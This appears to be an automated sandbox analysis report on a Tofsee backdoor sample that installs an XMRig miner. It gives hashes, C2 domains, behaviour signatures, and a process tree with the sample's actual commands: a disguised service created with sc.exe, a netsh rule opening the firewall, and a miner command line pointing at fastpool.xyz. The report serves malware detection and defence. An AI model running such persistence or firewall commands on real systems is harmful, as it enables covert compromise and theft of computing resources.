Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26/10/2022, 04:17

General

  • Target

    file.exe

  • Size

    223KB

  • MD5

    e34de9176ba44850ad213abc57c74fff

  • SHA1

    d131382cf5e48b86c58bbdecdcd1c8a3194ec64f

  • SHA256

    01c5f981a0b9995dce8c4f950cd93d8135fedd253d48efc709fdce8ce3e07ae7

  • SHA512

    569b192ccc194b867545fe1df772f3958490724f693fd6e6cb17c5545085bd2d3f0b4850c3ad33e37dc2f9e01559f96b86faa475b89fb1dad03f67bee1664705

  • SSDEEP

    3072:Pv/nQ6LhsyAU7tkmULFWU6p5W3WS2G/8jAyc2dRGeotoZZwBzNPWlGp:Pv/Q4sI7tkLcU3mVG0RdP29NZ

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1180
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\mmsaxgbb\
      2⤵
        PID:2252
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\uoqyuoun.exe" C:\Windows\SysWOW64\mmsaxgbb\
        2⤵
          PID:4192
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create mmsaxgbb binPath= "C:\Windows\SysWOW64\mmsaxgbb\uoqyuoun.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2612
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description mmsaxgbb "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:3304
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start mmsaxgbb
          2⤵
          • Launches sc.exe
          PID:2168
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:628
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1180 -s 1036
          2⤵
          • Program crash
          PID:4492
      • C:\Windows\SysWOW64\mmsaxgbb\uoqyuoun.exe
        C:\Windows\SysWOW64\mmsaxgbb\uoqyuoun.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:624
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:3096
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:808
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 624 -s 528
          2⤵
          • Program crash
          PID:3536
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 1180 -ip 1180
        1⤵
          PID:3208
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 400 -p 624 -ip 624
          1⤵
            PID:5048

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

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          Downloads

          • C:\Users\Admin\AppData\Local\Temp\uoqyuoun.exe

            Filesize

            11.5MB

            MD5

            9c27b610b460fb21dcdcb451908cc10d

            SHA1

            2968bd4b69a648fefea732ee7621f227396b70f5

            SHA256

            a01fda5ab0463b835d3b883534928c5fa0da9272d5c1d62f4f1624d74a1958c3

            SHA512

            3cdcd8ab070d62ab1235c9433a26d75c6d16e896a3aa283de5c6f844e5904aae42966f22aec5a6904931019e16c4734ccfd3c3b1a2212c187ade2a3e8bc35f3c

          • C:\Windows\SysWOW64\mmsaxgbb\uoqyuoun.exe

            Filesize

            11.5MB

            MD5

            9c27b610b460fb21dcdcb451908cc10d

            SHA1

            2968bd4b69a648fefea732ee7621f227396b70f5

            SHA256

            a01fda5ab0463b835d3b883534928c5fa0da9272d5c1d62f4f1624d74a1958c3

            SHA512

            3cdcd8ab070d62ab1235c9433a26d75c6d16e896a3aa283de5c6f844e5904aae42966f22aec5a6904931019e16c4734ccfd3c3b1a2212c187ade2a3e8bc35f3c

          • memory/624-148-0x00000000007A3000-0x00000000007B4000-memory.dmp

            Filesize

            68KB

          • memory/624-149-0x0000000000400000-0x0000000000595000-memory.dmp

            Filesize

            1.6MB

          • memory/808-176-0x0000000000800000-0x00000000008F1000-memory.dmp

            Filesize

            964KB

          • memory/808-171-0x0000000000800000-0x00000000008F1000-memory.dmp

            Filesize

            964KB

          • memory/1180-135-0x0000000000400000-0x0000000000595000-memory.dmp

            Filesize

            1.6MB

          • memory/1180-143-0x0000000000400000-0x0000000000595000-memory.dmp

            Filesize

            1.6MB

          • memory/1180-134-0x0000000000630000-0x0000000000643000-memory.dmp

            Filesize

            76KB

          • memory/1180-133-0x0000000000679000-0x000000000068A000-memory.dmp

            Filesize

            68KB

          • memory/3096-150-0x0000000000330000-0x0000000000345000-memory.dmp

            Filesize

            84KB

          • memory/3096-151-0x0000000000330000-0x0000000000345000-memory.dmp

            Filesize

            84KB

          • memory/3096-152-0x0000000002200000-0x000000000240F000-memory.dmp

            Filesize

            2.1MB

          • memory/3096-155-0x00000000019B0000-0x00000000019B6000-memory.dmp

            Filesize

            24KB

          • memory/3096-158-0x00000000019C0000-0x00000000019D0000-memory.dmp

            Filesize

            64KB

          • memory/3096-161-0x00000000019D0000-0x00000000019D5000-memory.dmp

            Filesize

            20KB

          • memory/3096-164-0x0000000007100000-0x000000000750B000-memory.dmp

            Filesize

            4.0MB

          • memory/3096-167-0x00000000019E0000-0x00000000019E7000-memory.dmp

            Filesize

            28KB

          • memory/3096-145-0x0000000000330000-0x0000000000345000-memory.dmp

            Filesize

            84KB